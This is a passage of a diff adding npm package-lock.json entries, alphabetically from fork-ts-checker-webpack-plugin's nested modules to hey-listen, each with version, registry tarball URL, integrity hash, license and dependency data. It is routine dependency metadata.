"license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/schema-utils": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.0.tgz", + "integrity": "sha512-0ilKFI6QQF5nxDZLFn2dMjvc4hjg/Wkg7rHd3jK6/A4a1Hl9VFdQWvgB1UMGoU94pad1P/8N7fMcEnLnSiju8A==", + "license": "MIT", + "dependencies": { + "@types/json-schema": "^7.0.4", + "ajv": "^6.12.2", + "ajv-keywords": "^3.4.1" + }, + "engines": { + "node": ">= 8.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/semver": { + "version": "7.3.7", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.7.tgz", + "integrity": "sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==", + "license": "ISC", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/tapable": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz", + "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/form-data": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz", + "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.6", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 0.12" + } + }, + "node_modules/formik": { + "version": "2.2.9", + "resolved": "https://registry.npmjs.org/formik/-/formik-2.2.9.tgz", + "integrity": "sha512-LQLcISMmf1r5at4/gyJigGn0gOwFbeEAlji+N9InZF6LIMXnFNkO42sCI8Jt84YZggpD4cPWObAZaxpEFtSzNA==", + "funding": [ + { + "type": "individual", + "url": "https://opencollective.com/formik" + } + ], + "license": "Apache-2.0", + "dependencies": { + "deepmerge": "^2.1.1", + "hoist-non-react-statics": "^3.3.0", + "lodash": "^4.17.21", + "lodash-es": "^4.17.21", + "react-fast-compare": "^2.0.1", + "tiny-warning": "^1.0.2", + "tslib": "^1.10.0" + }, + "peerDependencies": { + "react": ">=16.8.0" + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fraction.js": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.2.0.tgz", + "integrity": "sha512-MhLuK+2gUcnZe8ZHlaaINnQLl0xRIGRfcGk2yl8xoQAfHrSsL3rYu6FCmBdkdbhc9EPlwyGHewaRsvwRMJtAlA==", + "license": "MIT", + "engines": { + "node": "*" + }, + "funding": { + "type": "patreon", + "url": "https://www.patreon.com/infusion" + } + }, + "node_modules/fragment-cache": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/fragment-cache/-/fragment-cache-0.2.1.tgz", + "integrity": "sha512-GMBAbW9antB8iZRHLoGw0b3HANt57diZYFO/HL1JGIC1MjKrdmhxvrJbupnVvpys0zsz7yBApXdQyfepKly2kA==", + "dev": true, + "license": "MIT", + "dependencies": { + "map-cache": "^0.2.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/framer-motion": { + "version": "7.10.3", + "resolved": "https://registry.npmjs.org/framer-motion/-/framer-motion-7.10.3.tgz", + "integrity": "sha512-k2ccYeZNSpPg//HTaqrU+4pRq9f9ZpaaN7rr0+Rx5zA4wZLbk547wtDzge2db1sB+1mnJ6r59P4xb+aEIi/W+w==", + "license": "MIT", + "dependencies": { + "@motionone/dom": "^10.15.3", + "hey-listen": "^1.0.8", + "tslib": "2.4.0" + }, + "optionalDependencies": { + "@emotion/is-prop-valid": "^0.8.2" + }, + "peerDependencies": { + "react": "^18.0.0", + "react-dom": "^18.0.0" + } + }, + "node_modules/framer-motion/node_modules/@emotion/is-prop-valid": { + "version": "0.8.8", + "resolved": "https://registry.npmjs.org/@emotion/is-prop-valid/-/is-prop-valid-0.8.8.tgz", + "integrity": "sha512-u5WtneEAr5IDG2Wv65yhunPSMLIpuKsbuOktRojfrEiEvRyC85LgPMZI63cr7NUqT8ZIGdSVg8ZKGxIug4lXcA==", + "license": "MIT", + "optional": true, + "dependencies": { + "@emotion/memoize": "0.7.4" + } + }, + "node_modules/framer-motion/node_modules/@emotion/memoize": { + "version": "0.7.4", + "resolved": "https://registry.npmjs.org/@emotion/memoize/-/memoize-0.7.4.tgz", + "integrity": "sha512-Ja/Vfqe3HpuzRsG1oBtWTHk2PGZ7GR+2Vz5iYGelAw8dx32K0y7PjVuxK6z1nMpZOqAFsRUPCkK1YjJ56qJlgw==", + "license": "MIT", + "optional": true + }, + "node_modules/framer-motion/node_modules/tslib": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz", + "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ==", + "license": "0BSD" + }, + "node_modules/fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/from": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/from/-/from-0.1.7.tgz", + "integrity": "sha512-twe20eF1OxVxp/ML/kq2p1uc6KvFK/+vs8WjEbeKmV2He22MKm7YF2ANIt+EOqhJ5L3K/SuuPhk0hWQDjOM23g==", + "dev": true, + "license": "MIT" + }, + "node_modules/fs-extra": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "license": "MIT", + "dependencies": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/fs-monkey": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/fs-monkey/-/fs-monkey-1.0.3.tgz", + "integrity": "sha512-cybjIfiiE+pTWicSCLFHSrXZ6EilF30oh91FDP9S2B051prEa7QWfrVTQm10/dDpswBDXZugPa1Ogu8Yh+HV0Q==", + "license": "Unlicense" + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "license": "ISC" + }, + "node_modules/fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/function.prototype.name": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.6.tgz", + "integrity": "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", + "functions-have-names": "^1.2.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/functional-red-black-tree": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", + "integrity": "sha512-dsKNQNdj6xA3T+QlADDA7mOSlX0qiMINjn0cgr+eGHGsbSHzTabcIogz2+p/iqP1Xs6EP/sS2SbqH+brGTbq0g==", + "license": "MIT" + }, + "node_modules/functions-have-names": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz", + "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "license": "ISC", + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.5.tgz", + "integrity": "sha512-Y4+pKa7XeRUPWFNvOOYHkRYrfzW07oraURSvjDmRVOJ748OrVmeXtpE4+GCEHncjCjkTxPNRt8kEbxDhsn6VTg==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.0", + "dunder-proto": "^1.0.0", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-own-enumerable-property-symbols": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz", + "integrity": "sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g==", + "license": "ISC" + }, + "node_modules/get-package-type": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz", + "integrity": "sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==", + "license": "MIT", + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/get-stream": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", + "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "dev": true, + "license": "MIT", + "dependencies": { + "pump": "^3.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/get-symbol-description": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.2.tgz", + "integrity": "sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.5", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-value": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz", + "integrity": "sha512-Ln0UQDlxH1BapMu3GPtf7CuYNwRZf2gwCuPqbyG6pB8WfmFpzqcy4xtAaAMUhnNqjMKTiCPZG2oMT3YSx8U2NA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/getos": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/getos/-/getos-3.2.1.tgz", + "integrity": "sha512-U56CfOK17OKgTVqozZjUKNdkfEv6jk5WISBJ8SHoagjE6L69zOwl3Z+O8myjY9MEW3i2HPWQBt/LTbCgcC973Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "async": "^3.2.0" + } + }, + "node_modules/getpass": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", + "integrity": "sha512-0fzj9JxOLfJ+XGLhR8ze3unN0KZCgZwiSSDz168VERjK8Wl8kVSdcu2kspd4s4wtAa1y/qrVRiAA0WclVsu0ng==", + "dev": true, + "license": "MIT", + "dependencies": { + "assert-plus": "^1.0.0" + } + }, + "node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "deprecated": "Glob versions prior to v9 are no longer supported", + "license": "ISC", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/glob-to-regexp": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", + "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==", + "license": "BSD-2-Clause" + }, + "node_modules/global-dirs": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/global-dirs/-/global-dirs-3.0.0.tgz", + "integrity": "sha512-v8ho2DS5RiCjftj1nD9NmnfaOzTdud7RRnVd9kFNOjqZbISlx5DQ+OrTkywgd0dIt7oFCvKetZSHoHcP3sDdiA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ini": "2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/global-modules": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-2.0.0.tgz", + "integrity": "sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==", + "license": "MIT", + "dependencies": { + "global-prefix": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/global-prefix": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-3.0.0.tgz", + "integrity": "sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==", + "license": "MIT", + "dependencies": { + "ini": "^1.3.5", + "kind-of": "^6.0.2", + "which": "^1.3.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/global-prefix/node_modules/ini": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", + "license": "ISC" + }, + "node_modules/global-prefix/node_modules/which": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "which": "bin/which" + } + }, + "node_modules/globals": { + "version": "11.12.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/globalthis": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz", + "integrity": "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==", + "license": "MIT", + "dependencies": { + "define-properties": "^1.2.1", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/globby": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz", + "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", + "license": "MIT", + "dependencies": { + "array-union": "^2.1.0", + "dir-glob": "^3.0.1", + "fast-glob": "^3.2.9", + "ignore": "^5.2.0", + "merge2": "^1.4.1", + "slash": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "license": "ISC" + }, + "node_modules/graphlib": { + "version": "2.1.8", + "resolved": "https://registry.npmjs.org/graphlib/-/graphlib-2.1.8.tgz", + "integrity": "sha512-jcLLfkpoVGmH7/InMC/1hIvOPSUh38oJtGhvrOFGzioE1DZ+0YW16RgmOJhHiuWTvGiJQ9Z1Ik43JvkRPRvE+A==", + "license": "MIT", + "dependencies": { + "lodash": "^4.17.15" + } + }, + "node_modules/gzip-size": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/gzip-size/-/gzip-size-6.0.0.tgz", + "integrity": "sha512-ax7ZYomf6jqPTQ4+XCpUGyXKHk5WweS+e05MBO4/y3WJ5RkmPXNKvX+bx1behVILVwr6JSQvZAku021CHPXG3Q==", + "license": "MIT", + "dependencies": { + "duplexer": "^0.1.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/hammerjs": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/hammerjs/-/hammerjs-2.0.8.tgz", + "integrity": "sha512-tSQXBXS/MWQOn/RKckawJ61vvsDpCom87JgxiYdGwHdOa0ht0vzUWDlfioofFCRU0L+6NGDt6XzbgoJvZkMeRQ==", + "license": "MIT", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/handle-thing": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/handle-thing/-/handle-thing-2.0.1.tgz", + "integrity": "sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg==", + "license": "MIT" + }, + "node_modules/harmony-reflect": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/harmony-reflect/-/harmony-reflect-1.6.2.tgz", + "integrity": "sha512-HIp/n38R9kQjDEziXyDTuW3vvoxxyxjxFzXLrBr18uB47GnSt+G9D29fqrpM5ZkspMcPICud3XsBJQ4Y2URg8g==", + "license": "(Apache-2.0 OR MPL-1.1)" + }, + "node_modules/has": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.1" + }, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/has-bigints": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.2.tgz", + "integrity": "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "license": "MIT", + "dependencies": { + "es-define-property": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-proto": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.2.0.tgz", + "integrity": "sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-value": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz", + "integrity": "sha512-IBXk4GTsLYdQ7Rvt+GRBrFSVEkmuOUy4re0Xjd9kJSUQpnTrWR4/y9RpfexN9vkAPMFuQoeWKwqzPozRTlasGw==", + "dev": true, + "license": "MIT", + "dependencies": { + "get-value": "^2.0.6", + "has-values": "^1.0.0", + "isobject": "^3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/has-values": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-values/-/has-values-1.0.0.tgz", + "integrity": "sha512-ODYZC64uqzmtfGMEAX/FvZiRyWLpAC3vYnNunURUnkGVTS+mI0smVsWaPydRBsE3g+ok7h960jChO8mFcWlHaQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-number": "^3.0.0", + "kind-of": "^4.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/has-values/node_modules/is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha512-4cboCqIpliH+mAvFNegjZQ4kgKc3ZUhQVr3HvWbSh5q3WH2v82ct+T2Y1hdU5Gdtorx/cLifQjqCbL7bpznLTg==", + "dev": true, + "license": "MIT", + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/has-values/node_modules/is-number/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/has-values/node_modules/kind-of": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-4.0.0.tgz", + "integrity": "sha512-24XsCxmEbRwEDbz/qz3stgin8TTzZ1ESR56OMCN0ujYg+vRutNSiOj9bHH9u85DKgXguraugV5sFuvbD4FW/hw==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/he": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "license": "MIT", + "bin": { + "he": "bin/he" + } + }, + "node_modules/hey-listen": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/hey-listen/-/hey-listen-1.0.8.tgz", + "integrity": 